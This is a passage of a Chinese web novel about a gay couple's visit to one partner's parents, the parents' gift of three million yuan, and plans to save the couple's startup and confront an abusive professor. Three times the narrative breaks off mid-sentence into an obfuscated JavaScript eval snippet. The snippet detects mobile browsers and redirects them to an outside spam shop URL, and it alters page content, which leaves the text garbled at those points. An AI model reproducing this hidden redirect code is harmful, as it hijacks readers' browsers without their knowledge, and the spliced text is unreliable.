退下来了,现在基本属于半退休的状态,已经没了之前的忙碌,生活里多了份惬意,陈昇青倒是还和以前一样,跟着值班表走,下班了约同事打打网球,两人虽然对陈艾卅管束不多,但到底还是上心的,何况今天童宽会跟着一起来。 中年夫妻俩早早去买好了菜,陈昇青搬了个小板凳坐在厨房里择菜,曲婷就在那里调卤料,夫妻俩闲聊的时候听见门铃响了,曲婷就赶紧让陈昇青去开门。 童宽已经在陈艾卅父母家里有了专属的拖鞋和洗漱用具,所以开门的时候,陈艾卅就看到地上摆着两双毛拖鞋,他先把和童宽买的灵芝孢子粉、高钙奶粉和铁皮石斛递给了他爸,看着他爸倒是没叫人,嘴里先不经意地“哼”了一声,童宽就从背后轻轻怼了他一下,让他别作妖。 之前陈艾卅上学的时候,父母俩人都不管他,现在上班了,反而热络了一些,两人先去卫生间洗了手,童宽就先去问曲婷要不要帮忙,曲婷让他坐着看电视去,恰巧陈昇青的菜也择完了,三个男人就又坐到了沙发上,场面极其像七年前那次会面。 可能也由于太像了,陈艾卅即使得了童宽的提醒,也没忍住不问他爸。 “爸,”陈艾卅清了清嗓子,“你那个,私房钱,都藏哪儿啊?” 本来端了一杯茶在喝的陈昇青感觉呛了一下,赶紧把杯子放回了桌上,“我哪来的私房钱。” 童宽见状不好,想赶紧开溜,但这次留下他的不是陈艾卅的手,而是陈昇青的眼神,陈艾卅的爸爸看起来斯斯文文的,但眼神里仿佛有千斤重,压得童宽只能盯着地板看。 没想到下一秒,陈昇青就把童宽解放了出来,“你问小宽什么了?” “就你那些事儿。”这几年与父母的亲近,让陈艾卅跟他们对话起来也轻松了不少。 “别胡说,跟我又没关系,”陈昇青刚想从茶几下拿烟,眼睛往厨房看了一眼,又放下了,“你爸还是要脸的。” “那你说说私房钱藏哪儿了,”陈艾卅不依不饶地,好像要为他妈讨个公道,“不然我就告诉我妈你给别的小姑娘钱。” 童宽有点听不下去了,拽了陈艾卅裤子一下,别过去的脸对着他瞪大了眼睛,满眼说着卅哥你怎么卖我呢。 “人家后来都还给我了,欠条都拿走了,现在都转去别的医院当行政了。”陈昇青说着,“幸好当年遇见的是我,要真遇到哪个禽兽,这小姑娘一辈子就毁了。” 陈艾卅就见不得他爸这副清单的样子,好像在谁面前都问问吞吞的,心里想的话还没想完,嘴里就直接说出来了,“爸,我妈当年到底看上你什么了?” 陈昇青本不知道这俩人历经了生死一遭的事儿,就觉得他儿子今天活泼得有些异常,皱了皱眉又笑了笑,端起茶杯来又喝了一口,没回答陈艾卅,倒是问向了童宽,“小宽,你到底看上我儿子什么了?” 这问题跟皮球似的,最后落到了童宽这,他感觉自己怎么回答都不好,回答得太板正怕他爸吃狗粮,回答得太不正经又觉得给陈艾卅丢份,只好憋了个好久的脸,就说了两三个字,“帅、帅啊……” 陈昇青一拍大腿,看向了陈艾卅,“你看,这就是答案。” 陈艾卅终于找到了自己厚脸皮的根源,瘪嘴无奈笑了笑。 行吧,这稀泥算是被他和过去了。 “来来来,”曲婷从厨房里出来了,端上了一大盆清真鳜鱼,“唠什么呢你们爷仨,快吃饭了。” 56.安家 曲婷备了一些酒,陈昇青的眼睛都直了,平日里对他严格要求的太太竟然主动拿了一瓶茅台出来,又拿了四个小酒盅,一人面前放了一个,又倒上了满杯。陈艾卅也有些不习惯,他妈向来是不喜欢家里人抽烟喝酒的,平时应酬也就算了没办法,这不是过年也不是过节的,他总有些不踏实。 “妈,你有啥高兴的事情要宣布么?”陈艾卅问曲婷。 曲婷没回答,倒是先让大家举个杯,一杯酒过后,一贯在人前清冷的陈昇青再也耐不住自己的性子,把小酒杯往桌子上一放,露出了一点为难的神色,不过也可能是因为面对曲婷,他反而生出了一些幽默来。 “说实话,你这莫名其妙的酒喝得我心里不踏实。” “你不踏实什么,”曲婷瞥了陈昇青一眼,“心虚啊,藏钱了?” 陈昇青没什么动作,陈艾卅倒是呛了一口,童宽赶紧看了他一眼。 “没有,怎么可能,”陈昇青一脸无辜,“我几斤几两你最清楚。” 曲婷冷笑了一声,“从我高中认识你就没清楚过,肚子里弯弯绕绕的也不知道你在想什么,年纪大了也改不了这个臭毛病,哎我说你——” “得得得,当着孩子的面,你少说两句。” 父母俩人的这种对谈陈艾卅很少见,他也有点新鲜,之前俩人工作都忙,几乎看不到他们俩同时出现在家里,所以之前来了个陌生的女孩,陈艾卅不得不乱想,可多年后看到这个场景,陈艾卅才想起来,之前家里和亲戚聚餐的时候,亲戚们提过一嘴他爸妈可是从校服到婚纱的一对儿,没那么容易被世俗的那些烂糟事给打破。 “别啊,”陈艾卅听得热闹,也愿意多听一些,“妈你要不真翻翻我爸的抽屉大衣什么的,说不定真能翻出点什么来。” 童宽紧张得在桌子底下踹陈艾卅的腿,总感觉自己掏出的那点小秘密,陈艾卅根本没打算瞒,反而火上浇油。 没想到曲婷扬了下嘴角,没继续这个话题,反而替陈昇青解了围,“算了,你爸也就一天攒一包烟钱,翻不出什么浪来,还是给他球友面前留点面子吧。” 这话说到了陈昇青的心窝里,趁热打铁又给自己倒了一杯酒,敬起了曲婷,说不愧是亲媳妇,曲婷没搭理,说他就这张脸好看,这张嘴会糊弄人,别的都有待提高。 一桌上热热闹闹的,曲婷直接夹了一整块鳜鱼的肚子放到了童宽的碗里,“小宽,你爱吃鱼,多吃点。” “谢谢阿姨,太、太多了……”童宽双手捧着碗接了过来。 陈艾卅也不吝啬,一盘老干妈小炒肉几乎划拉了小半盆给童宽,童宽一边不好意思接下,又一边小声说卅哥你收敛点,陈昇青一桌菜没吃上几口,光顾着喝酒喝汤了,虽然一张帅脸显了些年纪,但还是能清晰地感觉到他又羡慕又嫉妒。 其实陈艾卅出柜的时候,最难接受的是曲婷,陈昇青因为很早差不多就知道了,也没太惊讶,就是没有提前告诉过曲婷,陈昇青总觉得陈艾卅还小,没出社会,很多事情定不下来,也没有刻意去掰正过他什么,而且他在医院里看得也多,有些事情不是想掰就能掰过来的,也就顺其自然了。 没想到过了两年了,陈艾卅竟然直接跟家里说了,陈昇青觉得这小子胆子不小,给曲婷吓得不轻,倒不是世俗观念什么的,主要是怕陈艾卅得病,还有就是被人骗,跟陈艾卅闹了几天别扭,直到陈昇青跟曲婷通了气,她才稍微放了点心。 直到真的见到童宽上了家里来,曲婷一眼就喜欢上了,她总觉得,怎么有这样经历的孩子能长得那么干净,上来连姓都直接去掉了,一声小宽喊得童宽脸红了。两人这才算能安安心心谈恋爱,但由于童宽对陈昇青还是施了一些法的,陈昇青总觉得这孩子没看起来这么简单,就总留一个心眼,所以每每遇见童宽就有所保留。 幸好,今天总算把话说开了。 一顿饭末,曲婷才说了今天给喝酒的真正用意来,原来是自己就职的公司顺利上市了,自己因为是财务总监的关系,也拿到了一部分股权,又多了一部分收入,想庆祝一下,说完了话,曲婷就回了房间,再出来的时候,拿了一张银行卡,放到了陈艾卅的面前,陈艾卅惊得说不出话来。 “小卅,爸爸妈妈以前一直忙,没顾上你,可能没给你足够的关注,”曲婷说话的时候也看了童宽一眼,“你喜欢男生这个事……爸爸妈妈也没发现,不过知道你是和小宽在一起,我们也放心。” 陈艾卅看了看曲婷,又看向了陈昇青。 “这卡我知道,但你妈有股权这个事,我也是刚知道。”陈昇青立刻解释道。 “这……卡,是?”陈艾卅一个字一个字往外蹦。 “从你上高中开始,爸妈就开始有意给你存钱了,”曲婷说到这里还有些不好意思,“之前是给你存钱结婚用的,现在看你和小宽也稳定,你俩拿着吧。” 陈艾卅和童宽对视了一眼,两人都不知道要怎么开口。 “干嘛?”曲婷见陈艾卅也不拿过去,连一句话都不说,倒是有些不高兴,故意说了一句,“你还想着要和小宽分手呢?动都不动。” 一句话给陈艾卅戳疼了,童宽脸色也有些不对劲。 陈昇青瞧他俩的脸色,仿佛真有点什么似的,立马紧张了起来,语气里带了点质问,“陈艾卅,你们俩,真有变动?” “没、没有。”陈艾卅回答得有些不自然。 “那你们什么意思?” “爸……”陈艾卅看了看童宽,童宽两只手都拧在了一起,这孩子就在他面前扯谎顺溜,到了别人面前装都装不像,但到底是发生过的事情,如果这时候不说实话,他爸妈这边倒没什么,主要还是怕童宽不高兴,于是就硬着头皮说了,“半年前,和小宽分过手。” “什么?!”曲婷的第一个反应是把卡收了回来,又拍了下桌子,“你干什么混蛋事了陈艾卅?!” 陈昇青也瞪大了眼睛,看向陈艾卅的脸有些冷。 “没有没有,”童宽赶紧打圆场,“陈老师,曲阿姨,卅哥没有做什么,是我那时候——” “你别帮他说话小宽,你什么品行阿姨清楚,”曲婷直接打断了童宽的话,对着陈艾卅说话的声儿都高了起来,“我就说这半年你俩都不回来吃饭,说忙,都是借口!” “不是,妈,我真没干什么,”陈艾卅哭笑不得,但他又不想跟他爸妈说那时候童宽的状态,他实在是一点都不想把童宽理亏的地方暴露给家长,“就那时候思路不清楚。” “你在外面有人了?”陈昇青瞪了过来。 “……没有,没有!”陈艾卅都快解释不清楚了,他从小基本没接触过父母的混合双打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14001540|147968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,现在跟连珠炮似的,他真的有些不知所措。 “当时是我不好,”童宽插了句话,“那时候就知道弄公司的事情,让卅哥伤心了。” 曲婷听了后怔了怔,又看了陈昇青一眼,才慢慢说了个字,“……哦,真的?”可又马上严肃了起来,对着陈艾卅的态度和童宽的差太多了,“你伤什么心,人家搞事业你不好好支持,还——” 童宽听到这,实在是着急了,伸手握住了曲婷的手腕,抢着说道:“是我让卅哥难受了,他才想着用这种方法来提醒我的,”童宽低着头,跟认错一样,“陈老师,曲阿姨,真的不是卅哥的错。” “这样啊。”陈昇青点了点头,但眼神里还是在责怪陈艾卅。 “爸妈,是我的问题,”陈艾卅刻意把童宽去老林子里的事情给瞒过去了,他实在不想让父母觉得童宽有冒险的时候,更不愿意让童宽自己再说一遍,“是我没照顾到小宽的情绪,我已经和小宽认错了。” “小宽原谅你了?”曲婷问他。 “原谅了,妈,”陈艾卅嘟囔道,“不原谅能跟我回来吃饭么。” “你原谅他了?”陈昇青问的是童宽。 “陈老师,卅哥没有错。”童宽小声回答着,“真没有。” 没想到的是,陈昇青严肃了起来,陈艾卅也是第一次从他爸脸上看到这种表情,这种压迫感也非常陌生。 “陈艾卅,我们从小没有跟你说过什么重话,也没强迫过你做什么事情,但是有些道理爸妈还是要跟你讲,我们先不说童宽的身世,那是先天决定的,重要的是,童宽为了你什么都豁得出去,这是我体会到的,他在这个城市里没有依靠,无论他做了什么,你都不能主动离开他,除非他让你离开,或者他离开你,你才有权利可以这么考虑。两个人在一起,要求会越来越多,外面的诱惑也会越来越多,能不能在一起靠的是缘分,走不走得远,靠的是互相的包容和体谅。” 一席话说完,桌子上的人都安静了,连曲婷都没说话。 或许意识到自己说得实在是太正经了,陈昇青也有点不好意思,轻轻咳了一下,又补了一句,“你妈脾气不好,我也是这么包容你妈的。” “哎你说话就说话,带上我干什么。”曲婷有些不满意,但这话一出来大家都轻松了不少。 接着陈昇青做了让在座所有人都意外的举动,从曲婷面前拿过了那张卡,越过了陈艾卅,交到了童宽的手上。 “知道我儿子喜欢男的时候,我很担心,后来接触了你,虽然做的事的确有点莽撞,但我也就真的放心了,这个钱交给你,我儿子也交给你了。” 童宽有些不知道该怎么办,又不好推辞。 “拿着吧,小宽。”曲婷也说。 陈艾卅也向童宽点头,又说:“爸、妈,我也不是说一定喜欢男的,那时候怕你们难接受小宽是个男的,就先那么说了,他是啥我都喜欢。” 童宽收下的一瞬间,眼睛红了,“谢谢陈老师,谢谢曲阿姨。” “这么多年了,也该改口了。”陈昇青说。 曲婷看向童宽的眼神更柔和了些,陈艾卅的笑也充满期待。 童宽的眼泪一下就出来了,出生三十年,终于有了不曾有、不敢想的那一幕,他对着陈艾卅的爸妈,哽咽着喊了两个字,“爸、妈。” 57.儿婿 “哎!”曲婷眼泪也跟着冒了出来,激动得站起身走到童宽面前,握过了童宽的胳膊,“虽然说是一直这么觉得的,但还是得说,又多了个儿子咯。” “曲阿……不是,妈,我……”童宽有些语无伦次,好像不知道说什么才好,字蹦了半天才说出一句完整的话来,“我也做了不少混事,我把自己公——” “宝贝,”陈艾卅直接伸出了手握住了童宽的手腕,打断了他即将要说出的话,他不是不知道童宽要说自己公司破产的事,但他不愿意童宽说,他觉得童宽公司破产自己也有份,“等着我跟爸妈说,你先把钱收好,嗯?” “卅哥……”童宽看着陈艾卅表情有些挣扎,但在他坚毅的眼神下还是没说,就是捏着卡的手有点抖,“太重了,这个礼物太重了。” “哎哎,你俩,差不多得了,怎么虐恋情深的。”陈昇青虽然接受了儿子和一个男人在一起,但听见自己儿子喊另一个男人宝贝还是有点不习惯,曲婷倒是立马接受了这个设定,挺陈昇青这么说,推了一下他胳膊让他少管闲事。 饭后,童宽被陈艾卅放到房间里去了,说他的电脑有点问题,想让童宽帮忙看看,童宽皱了皱眉,面对这十几年前的老台式机发愣,陈艾卅倒是对他眨了眨眼睛,“等我一下,我去找一下我爸妈。” 陈艾卅出了门,才看到父母没管那一桌子的餐盘,早已坐到了沙发上,好像知道他一定会出来找他们一样。 茶几上放着两杯茶,一看就是刚冲的铁观音,陈艾卅也就顺势坐到了沙发上。 “爸、妈,”他先是拍了下大腿,才开始说,“这半年的事,我还是要和你们交代下。” 陈艾卅说是说半年,其实是把他和童宽一路以来的感情经历都给陈昇青和曲婷说了一遍,说童宽在学校遭受的不公正对待、说他即使知道会被要挟还要咬牙坚持做项目、说童宽暗恋他时候的小心翼翼、也说自己的迷茫不清,说学校的事总让陈艾卅觉得高兴,一直带着笑,一直到童宽为了他去挑衅教授、也说到他在最难的时候花钱就为了在他万一有什么好歹的话陈艾卅不至于没有生活保障,说童宽的劫、也说自己看到陈艾卅后的劫后余生,说完了后,曲婷在那抹眼泪,陈昇青也不说话,一张脸能沉出水来。 “爸、妈,童宽的公司是破产了,但那又怎样呢,他好好的就行了,他和我好好的就行了,希望你们不要带有色眼镜看他。” “不会的,你爸妈是这样的人么,”曲婷抽了抽鼻子,“本来知道他是孤儿,其实你爸和我还有些担心,怕他偏激,也怕他心理不成熟,可第一次见着他,我就知道他是好孩子,后来没想到他这么有出息自己创业,失败了也没关系,谁说创业就一定会成功,天底下办不成的事这么多,这件又不是一点没办成。” 陈艾卅笑了一下,“妈,你就别给他说好话了,他哪是好孩子,是个小疯子。” “我看他就为你疯。”陈昇青说。 “你爸那事,我知道,”曲婷突然说道,“就是童宽质问他,我倒是真没想到,他是真把你放心上,什么都敢做。” “啊,妈你知道啊,害我还想着给我爸瞒着呢。” “知道,你爸知道瞒不过我,而且还得问我要钱呢么,他敢不说么。”说到这里曲婷的眼睛里多了些少女才有的羞意。 “妈……”陈艾卅犹豫了一会儿,“你给我们的卡里,有多少钱啊?” “三百万。”曲婷说,“本来想给你买房子付首付用的。” “这么多?!”陈艾卅惊讶道。 “你也不看看存了多少年了。”曲婷翻了个白眼。 陈艾卅没提要把这个钱挪作公用的事,他知道童宽肯定不肯,这三百万肯定是供着的,但眼下难关得过,也急需用钱,眼下总得想个办法。 他和爸妈又聊了一会儿,等到两位做父母的好不容易点头了才回的房间。 “卅哥,和爸妈聊啥了?” “问问他俩这钱怎么来的,三百万呢。”陈艾卅指了指童宽还捏在手心里的银行卡。 “三百万!?”童宽眼睛都瞪大了,“你爸妈,哪来这么多钱啊。” “他们工作都不错,我爸工作稳定,我妈时常有奖金,而且存挺久了,说是计划着当彩礼钱呢。” “……哦。”童宽捏着那张卡的手指有些泛白了,刚刚收获了爸妈,又被陈艾卅说了句彩礼钱,这会儿就算是七年正牌男友也有些不好意思,后面的说话声都小了起来,“可惜我没有回礼给爸妈了。” 陈艾卅听着觉得心疼,伸手握了握童宽的胳膊,“你就是给爸妈最好的回礼了。” 童宽摇了摇头,“如果爸妈知道公司是现在这个情况,不一定还会认我这个儿子。” “你把爸妈想得太单纯了,他们才是什么大风大浪没见过的人。”陈艾卅顿了顿,“我刚就是把这半年我的混蛋日子给我爸妈交代了一下,当然你的混蛋事一件也没漏。” 童宽哭笑不得,但又有点紧张,“爸妈怎么说?” “爸妈说,”陈艾卅故意停顿了一下,看了看愈发紧张的童宽,见到他喉结都上下滚动了一下,才继续说道,“爸妈说你这个——乖儿子想做什么都可以,他们都支持。” “想做什么都可以?”童宽眨了眨眼睛。 “我跟他们说,重启必然需要一笔救急的资金,三百万虽然盘不活一个公司,但目前来说救急肯定是可以的了。” “卅哥,怎么能拿爸妈的钱给公司用,这绝对不行,公私得分明。” “你听我说完,”陈艾卅清了清嗓子,“我也知道,如果直接挪作公用呢你绝对不肯,也有些辜负了父母的好意,所以我就给他们想了个折中的方案。” “折中的方案?”童宽有些好奇。 “金融这块呢,你还是欠了些火候,”陈艾卅娓娓道来,“我和爸妈说,这三百万就相当于我们问他借的,算投资款,他们作为我们的债权方给我们这笔款,如果赚了呢,我们给他们分红,如果赔了呢,相当于我们要还他们钱,你觉得这样可以吗,宽总?” 在童宽的概念里,钱向来是一种现金概念,拿到手里的才真正有钱的价值,所以在股权结构上他一直都弄得很简单,从来没有使用过任何金融手段,他虽然真的不屑,但也的确没有能力去搞这个事情。 但陈艾卅不一样,一直浸淫在大公司的层面上,对于资本的运作甚至比现金流更加熟悉,认为资本本身就是拆取各个股东身上的优势,再在同一个项目中共同盈利,他熟悉卖货,也更熟悉上位者的需求,这也是为什么他的大老板愿意在他提出请辞的时候宁可陈艾卅停薪留职,也不愿意他直接走。 对于职场高手,如果不留在身边,很可能就会出现在对家手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014593|147968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里。 他一直都不知道,陈艾卅为了追爱,可以放下一切。 “我不懂,总之爸妈不会亏,对吧?” “对。” “那就行。” “我以为要说服你需要一点时间呢。” “爸妈对我太好了,我不能辜负他们。” 陈艾卅觉得童宽又陷入了压力怪圈,对着他弹了个脑门,“小孩儿,这是彩礼钱,给出去的彩礼泼出去的水,又不会要回来,你不辜负我,就是不辜负他们了。” 童宽听了腼腆地笑了笑,“卅哥,你还真什么都能往自己身上扯呢。” “我只要你快乐就好了。”陈艾卅说。 “我的快乐很简单,你在我身边,我就很快乐。” 陈艾卅心里一软,伸手抱了抱童宽,又在他额头吻了一口。 再从陈艾卅的房间里出去,童宽连话都有些不会说了,还没走两步曲婷倒是站起来迎了过去。 “小宽,刚刚小卅把你们这半年的事基本都告诉我们了,”曲婷前半句说得温柔,后半句就露了点凶,“你也真是的,又不是没阿姨的电话,怎么不直接找我们,让这臭小子在外头浪半年。” “没有……卅哥不是……” “什么不是,你就会给他说好话,给他惯得尾巴都翘起来了。” “妈!我哪来的尾巴,真的是。”陈艾卅瞧着气氛不错,赶紧也搭上了这个话茬,也用手揽过了童宽的肩膀,“亲老婆就是这样的,胳膊肘一直朝里拐。” 曲婷剜了他一眼,“好意思么你,我看你是老婆还差不多。” “是是是,我是老婆,小宽是我老公,儿婿你们还满意么?” “你们老陈家这张嘴也是祖传的。”曲婷对着陈艾卅指了指,又对着陈昇青点了点。 “哎哎,不要往我身上带啊,我可什么都没说。” “你就是在他长大路上说少了,才养出个和你差不多性格的玩意来。” “妈——说啥呢,好歹我比我爸高一个头。” 曲婷根本不理这俩人,牵着童宽的胳膊到了沙发这,把人往下一按,“不理他们,我跟你一边。” 童宽笑着,眼睛亮晶晶的,轻轻对着曲婷说了句,“谢谢妈妈。” 这顿饭吃得比以往任何一顿都要久,陈艾卅也觉得父母好像比几年前更鲜活了,甚至感觉前几年并非是父母冷漠,而是自己没有努力感受,倒是这几年,借着童宽的存在,一点点和父母重新建立了关系,体会到了“家”的温暖,他觉得童宽是他一辈子的不可或缺。 曲婷和陈昇青给俩人打包了不少东西,拿到后面后备箱都塞不下了,都要往后座里放,陈艾卅不断和爸妈说,以后常来、真常来,真不用拿这么多东西,曲婷就说这哪是给你的,是给他们儿婿的,让他不要插手,陈艾卅就看向童宽,童宽就在那笑,偏偏陈艾卅“闹”上了些闺女脾气,不肯开车,说要体会一下老婆的专属快乐,童宽也不扭捏,直接坐上了驾驶座。 等真的启动了,陈艾卅又坐不住了要童宽换一下。 “卅哥老婆,我可不让,好不容易争来的称呼。” “宝贝,”陈艾卅声音故意放得很低,“叫一声老公我听听。” “卅哥,别闹,乖一点。”童宽拿出了老公的架子。 陈艾卅刚想作妖,手机就响了。 58.条件 “喂,徐熠?嗯,回来有两周了吧。”他接着电话,眼睛看着童宽,“什么?殷蔚反悔了?” 这是陈艾卅没想到的,之前和那个女生聊的时候其实挺畅快的,对方也很明确自己要什么,而且陈艾卅也许诺她了,如果站出来指正丁彧,就能获得十万。 和徐熠通完电话后,陈艾卅脸色有些凝重了起来,坐在副驾也老实了,没再和童宽说笑,倒是童宽有些好奇,他并不知道殷蔚和丁彧的事。 “卅哥,怎么了?” “没事,就是想帮你把10%的原始股拿回来。” 童宽的表情有些尴尬,语气也跟着软了下来,“卅哥……” “缺钱,必须拿回来。”陈艾卅没给童宽讨饶的机会。 “但是?”童宽知道陈艾卅话里有话。 “但是本来对于丁彧来说有个突破口的,有个女生受了他的胁迫发生了不正当关系,我和徐熠本来是想通过她来解决掉这个事情的,但这个女生不肯,现在还要倒打一耙给丁彧作证说我之前的毕业论文是他分享的,是你黑了系统,要取消你的毕业证书不说,还要影响你个人和公司的舆论。” “卅哥,随便他们去吧,我也不是很在意。”童宽倒是没什么纠结的,一张清清冷冷的脸始终没什么表情。 “不是,”陈艾卅哑然失笑,他知道舆论这些对于童宽来说,并不是什么值得关注的点,但有些必要的提醒还是需要的,“宽总,咱做的是公益app,要的就是个口碑,如果有问题,挺不利于之后发展的。” “喔……”童宽这才说,“那怎么办?” 陈艾卅有些扭捏,他其实不太想说下面的话,毕竟徐熠在跟他说这件事的时候还有些看热闹的成分在,挂掉电话面色凝重的主要原因并非是殷蔚倒戈,而是……斯昀因为选修的关系和丁彧也有过交集,烂教授也因为斯昀的美貌而动过歪脑筋,只不过斯昀并没有把他放眼里,如果要把那10%要回来,斯昀倒是个很好的突破口……但是,斯昀是陈艾卅的前女友,而他现在不知道该怎么和童宽开这个口,说心里一点不慌,那绝对是假的。 陈艾卅没有回答,轻轻咳了一声。 他不咳这一声也就算了,这动静一出来,童宽就知道他的卅哥有点“难言之隐”。 正好这会儿车开到了他们俩的住处,停完了后,童宽没有着急熄火,拉了手刹后连安全带都没解下来,转过脸对着陈艾卅。 “卅哥?” “啊?” “说说呗?” “说什么?” “说说解决办法,你好像已经有办法了。” 陈艾卅自知逃不过去,赶紧解开了安全带,先打开了车门,回过头弯腰对着还坐在驾驶座上的童宽抬了个下巴,“回去说?” 童宽也挑了个眉毛,“嗯。” 进电梯的时候陈艾卅从包里拿出钥匙,一直在手里捏着,童宽看了他好几眼都没发现,眉心紧缩着,好像是在思量什么大事。 一直到客厅,陈艾卅都没放松下来,平日里放完包可能就会先在沙发上坐一会儿,然后再起身干别的,今天倒好,人先去厨房里热了一杯牛奶出来,放到了茶几上,童宽看着这杯牛奶,嘴角憋了个意味深长的笑,没让陈艾卅等太久,坐到了沙发上,先喝了一口,又放下了,玻璃杯底和茶几碰到发了一记闷闷的响声后,童宽就看向了陈艾卅,等他开口。 “是这样的,你记得以前我跟你说过一个女生吗,老问我们俩什么关系的那个。” “你前女友。” 陈艾卅噎了一下,点了头,“是,她叫斯昀。” “嗯。” “她也被丁彧那个老头迫害过,不过未遂。” “噢,然后呢?” “咳,如果想要回10%那个股份,总得有些什么东西可以要挟他才行,所以徐熠认为斯昀是个突破口,可以去找她聊聊。” “喔,卅哥你前女友是突破口,”童宽说话的声音已经变了调,“是徐熠说的么,突破口?” 陈艾卅心里一惊,童宽是个聪明人,而且从来不说废话,这话问出来,他自己也不得不掂量掂量,赔了个笑,“徐熠说可以试试。” “你觉得呢?”童宽又喝了一口牛奶,眼睛看似无有轻重地向他瞟了一眼。 “我……觉得也可以试试。”陈艾卅紧张地咽了口唾沫,虽然童宽知道斯昀的存在,也知道斯昀对陈艾卅好奇,但始终没和她打过照面,虽然时间过去挺久了,但他总觉得,这事儿如果倒回去说,总觉得很奇怪。 “复合不行。”童宽面前的牛奶已经喝完了,留了四个字给陈艾卅。 坐在单人沙发上的陈艾卅有点摸不着头脑,看向坐在三人沙发中心位置的童宽,“什么意思?” “我说,如果你前女友提条件的话,复合不行。” “想什么呢,你这小脑袋瓜行不行了?”陈艾卅都快笑出来了,差点伸手想对着童宽的脑门来一下。 “我又不是不懂,你找别人帮忙,别人肯定会对你提条件啊,而且帮的是你男朋——老公、婆。”最后几个字怎么都没法从童宽的嘴里绕出来了。 “老公婆?你这对辈分也有要求了啊?” “不是……” “不是老公还是不是老婆?” “……不是老公婆。” 陈艾卅觉得童宽眼下的样子实在是太可爱了,忍不住对他乘胜追击,“你是我老公还是我老婆?” “老——” “嗯?” “老婆。” “哎,亲亲宝贝老婆真乖。” 童宽没搭理他这个劲儿,又回到了刚刚的话题,“反正复合不行,约会也不行,约那啥更不行。” 陈艾卅伸手捏了捏童宽的脸,“以前不觉得你这么小气呢?” “我一直很小气。”童宽想了想又补了两个字,“对你。” “傻小孩儿,人家好歹是个大美女,不说这么多年过去了不知道她怎么样,当年还祝福咱俩来着,以我对她的了解,不会提什么过分要求的。” “你还真了解她啊。”童宽又斜着眼睛看了过来。 “又酸上了,你还真适合养柠檬草。” 童宽把手里喝完奶的玻璃杯递给了陈艾卅,看都没看他一眼,直接进卧室拿了换洗衣服去洗澡了,留陈艾卅在客厅里哭笑不得。 陈艾卅到底还是把斯昀约出来了,不过不是一个人,和童宽一起,是在一家奢侈品总部楼下的咖啡厅里,陈艾卅给自己和童宽点了美式,又点了一杯拿铁,童宽看了他一眼,陈艾卅就怂了,立刻解释道:“那个,咱们求人办事,总得投其所好,对吧?” 童宽白了陈艾卅一眼,他这个劲儿就没过去。 斯昀越来越漂亮了,穿的是全黑的针织套装,踩了个不高不低的方根小皮鞋,脚踝处还有一根绑带,上头点缀了一颗珍珠,整个人看起来优雅又性感,走过来的时候带着甜甜的微笑,一点不客气地坐到了陈艾卅的对面,还没和他打招呼,倒先和童宽寒暄了起来。 “你好,是童宽吧?我是陈艾卅的学姐斯昀,终于见到你了!”斯昀向童宽伸出了手,童宽握了上去。 “学姐你好,我是童宽。”简洁、明了,没有任何拖泥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024148|147968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带水。 “很高兴你们还在一起,真的很令人羡慕。”斯昀没有和陈艾卅单独打招呼,倒是先夸赞了一下两人的感情。 童宽可能不清楚,但陈艾卅心里如明镜似的,若非万不得已,陈艾卅是绝对不会来找斯昀帮忙的,既然是帮忙,那必然是和学校里的事有关,如果和学校的事有关,就不可能是这几年的事,而且和童宽必然有关联。 斯昀还是这么聪慧,就是说话的时候还是带了点揶揄,陈艾卅和斯昀在一起三个月就分了手,而和童宽却可以在一起七年多,还会为了童宽的事来求前女友,这句话不轻不重地点了点陈艾卅,童宽表面看起来没什么,可越是这样,陈艾卅心里越有点慌。 童宽和斯昀好像有默契似的一起喝了口咖啡,弄得陈艾卅也不得不拿起眼前的咖啡喝了一口,才开始正式进入主题。 陈艾卅说整件事的时候,斯昀一直认真在听取,就是说到殷蔚倒戈那一段,她表情有一些不好看,倒不是厌恶,更多的是同情。 “如果殷蔚之前答应了你们,而后又拒绝了,肯定也是遭遇了教授的胁迫,倒不是不一定真的不想帮你们。”斯昀说道。 陈艾卅和童宽点了点头。 看他们似懂非懂的样子,斯昀又补了两句,“做女孩子很辛苦的,没有你们想得那么容易,这个社会对女孩子要求这么高,男人魅力大一点可能说是风流倜傥,女孩子就不那么好听了,何况丁彧那个狗东西手段向来很贱,不知道殷蔚是不是有什么和自己有关的把柄落在他手里了。” 本来陈艾卅只是浅表地觉得殷蔚又受了丁彧更高的诱惑,但在斯昀的提示下,他也逐渐认可殷蔚或许真的有苦衷。下意识地就对斯昀说:“学姐,那这件事就不能普通地去要挟一下丁彧,如果放任不管,他可能还会祸害更多的学生,如果方便的话,你看看要不要和殷蔚聊一聊?” 